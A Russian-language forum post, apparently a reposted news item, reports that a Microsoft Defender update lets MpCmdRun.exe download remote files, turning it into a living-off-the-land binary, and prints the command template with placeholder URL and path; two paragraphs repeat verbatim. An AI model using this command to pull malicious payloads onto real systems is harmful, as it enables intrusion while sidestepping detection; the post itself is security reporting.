- Регистрация
- 10.03.20
- Сообщения
- 1,648
- Реакции
- 69
- Покупок
-
2
- Продаж
-
2
Недавнее обновление встроенного в Windows 10 антивируса Microsoft Defender позволяет загружать на компьютер вредоносные программы и другие файлы. Это тот случай, когда легитимные системные компоненты используются в злонамеренных целях (такие файлы называются LOLBIN). В частности, странные изменения коснулись инструмента командной строки MpCmdRun.exe, который теперь может использоваться для загрузки вредоносных файлов из удалённых источников.
Теперь Microsoft Defender встал в один ряд с другими программами в Windows, которые могут сыграть на руку злоумышленнику. Проблемное обновление встроенной антивирусной программы обнаружил исследователь Мохаммад Аскар. По словам специалиста, теперь MpCmdRun.exe содержит новый аргумент — DownloadFile. Таким образом, системный компонент может использоваться для загрузки файла из удалённого источника. Это можно сделать с помощью следующей команды:
MpCmdRun.exe -DownloadFile -url [ссылка] -path [путь_к_файлу]
Согласно наблюдениям исследователей, новая функция появилась в версии Microsoft Defender 4.18.2007.9 или 4.18.2009.9. Конечно, в большинстве случаев антивирус должен детектировать вредоносную программу, однако пока непонятно, позволит ли нововведение обойти другие антивирусы, установленные в системе.
Теперь Microsoft Defender встал в один ряд с другими программами в Windows, которые могут сыграть на руку злоумышленнику. Проблемное обновление встроенной антивирусной программы обнаружил исследователь Мохаммад Аскар. По словам специалиста, теперь MpCmdRun.exe содержит новый аргумент — DownloadFile. Таким образом, системный компонент может использоваться для загрузки файла из удалённого источника. Это можно сделать с помощью следующей команды:
MpCmdRun.exe -DownloadFile -url [ссылка] -path [путь_к_файлу]
Согласно наблюдениям исследователей, новая функция появилась в версии Microsoft Defender 4.18.2007.9 или 4.18.2009.9. Конечно, в большинстве случаев антивирус должен детектировать вредоносную программу, однако пока непонятно, позволит ли нововведение обойти другие антивирусы, установленные в системе.
